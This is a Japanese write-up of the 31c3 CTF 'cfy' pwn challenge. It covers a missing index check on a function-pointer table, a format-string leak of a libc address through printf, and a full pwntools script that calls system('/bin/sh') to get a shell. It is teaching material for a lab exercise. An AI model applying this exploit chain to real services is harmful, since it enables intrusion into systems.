cfy
#pwn #31c3ctf
pwn問題集easyより。
FunnyBusinessと同じぐらいの難易度に感じた。眠くてよくわからなくなってwrite-upを開いたけど単純だったのでもうちょっと粘ればよかったなあ...
概要
動かすと、0)~3)のオプションが提示されて適当に打つとhexと10進数を変換してくれるプログラム。
parse from pointerはよくわからなかった。
入力された0~3の値を4bit左シフト(=16倍)してからobj.parsers = 0x601080に足し、処理内容を変えているのがわかる。(obj.buf = 0x6010e0にはPlease enter your number:での入力が入っていて、call raxの際の第一引数になる)
code:0x4008af
shl rax, 4
add rax, obj.parsers
mov rax, qword rax
mov edi, obj.buf
call rax
だが、ここでは入力チェックが欠けていて、-2とか100などの入力も受けつけてしまいSIGSEGVを起こす。
値を16倍しているので、たとえば-3だと48バイト前に書かれているアドレスをcallする。
obj.parsers周辺を見てみると、printfやobj.bufもcallできることがわかる。
code:radare2
0x00601000 280e 6000 0000 0000 0000 0000 0000 0000 ; .got.plt領域
0x00601010 0000 0000 0000 0000 d605 4000 0000 0000
0x00601020 e605 4000 0000 0000 f605 4000 0000 0000 ; 0x4005e6 -> printf, オプション -6) !?
0x00601030 0606 4000 0000 0000 1606 4000 0000 0000 ; 0x400606 -> fgets
0x00601040 2606 4000 0000 0000 3606 4000 0000 0000
0x00601050 4606 4000 0000 0000 0000 0000 0000 0000
0x00601060 0000 0000 0000 0000 0000 0000 0000 0000 ; .data領域
0x00601070 0000 0000 0000 0000 0000 0000 0000 0000
0x00601080 3d07 4000 0000 0000 b409 4000 0000 0000 ; obj.parsers, オプション 0) -> 0x40073d
0x00601090 6107 4000 0000 0000 c309 4000 0000 0000 ; オプション 1) -> 0x400761
0x006010a0 8507 4000 0000 0000 d209 4000 0000 0000 ; オプション 2) -> 0x400785
0x006010b0 0000 0000 0000 0000 0000 0000 0000 0000
0x006010c0 0000 0000 0000 0000 0000 0000 0000 0000 ; .bss領域
0x006010d0 0000 0000 0000 0000 0000 0000 0000 0000
0x006010e0 0000 0000 0000 0000 0000 0000 0000 0000 ; obj.buf = 0x6010e0, オプション 6) !?
0x006010f0 0000 0000 0000 0000 0000 0000 0000 0000
0x00601100 0000 0000 0000 0000 0000 0000 0000 0000
0x00601110 0000 0000 0000 0000 0000 0000 0000 0000
printfでリークができないか試してみる。上より、-6を入れてやればcallできた。
code:bash
$ ./cfy
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
-6
Please enter your number: AAAA %p %p %p %p %p | %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAA 0x7f3165b79890 0x6010e0 0xfbad2288 0x24fc6d5 0x7f3165d634c0 | 0xfffffffa15031280 0x11 0x400930 0x7f31657be1c1 (nil) 0x7ffd15031288 0x100000000 0x40080c (nil) 0x41778c36290b7836 0x400650 0x7ffd15031280 (nil) (nil) 0xbe8da6b0180b7836 0xbf154641f9997836 (nil) (nil) (nil) 0x1 0x40080c 0x4009a0 (nil) (nil) 0x400650 0x7ffd15031280
dec: 333
hex: 0x14d
9番目の%pで出力されている0x7f31657be1c1はmain関数のリターンアドレスで、__libc_start_mainにリターンする。
vmmapでlibcのベースアドレスは0x7ffff79f5000となったので、オフセットは0x211c1。
code:bash
$ rax2 -k '0x7ffff7a161c1-0x7ffff79f5000'
0x211c1
libcのベースアドレスがわかるので、system(オフセットは0x47dc0)のアドレスを計算したあと、それを呼び出したい。
上に書いたとおりobj.bufに書かれたアドレスもcallできるので、これを利用する。
まず1回目でobj.bufの領域にsystemのアドレスを書き込んだあと、2回目で/bin/shを引数として渡すと同時にcallする。
ここで注意すべきなのが、1回目でobj.bufに書き込んでも2回目で/bin/shという7byte分は上書きされるということ。なので、systemのアドレスは16byte後ろにずらして書き込む(オプションの数字も1つ増やす)。
Exploit
code:exploit.py
from pwn import *
c = remote('localhost', 62000)
libc_start_main_offset = 0x211c1
system_offset = 0x47dc0
# leak libc's address
c.recv(1024) 
c.send("-6\n")
c.recv(1024)
c.send("%9$lx\n")
libc_base = int(c.recv(12), 16) - libc_start_main_offset
log.info(hex(libc_base))
system_addr = libc_base + system_offset
# write system's address
c.recv(1024)
c.send("1\n")
payload = p64(0)
payload += p64(0) # padding for string '/bin/sh'
payload += p64(system_addr)
payload += "\n"
c.recv(1024)
c.send(payload)
# pass '/bin/sh' & call system
c.recv(1024)
c.send("7\n") # 6 -> obj.buf, 7 -> obj.buf + 0x10
c.recv(1024)
c.send("/bin/sh\n")
time.sleep(0.3)
c.interactive()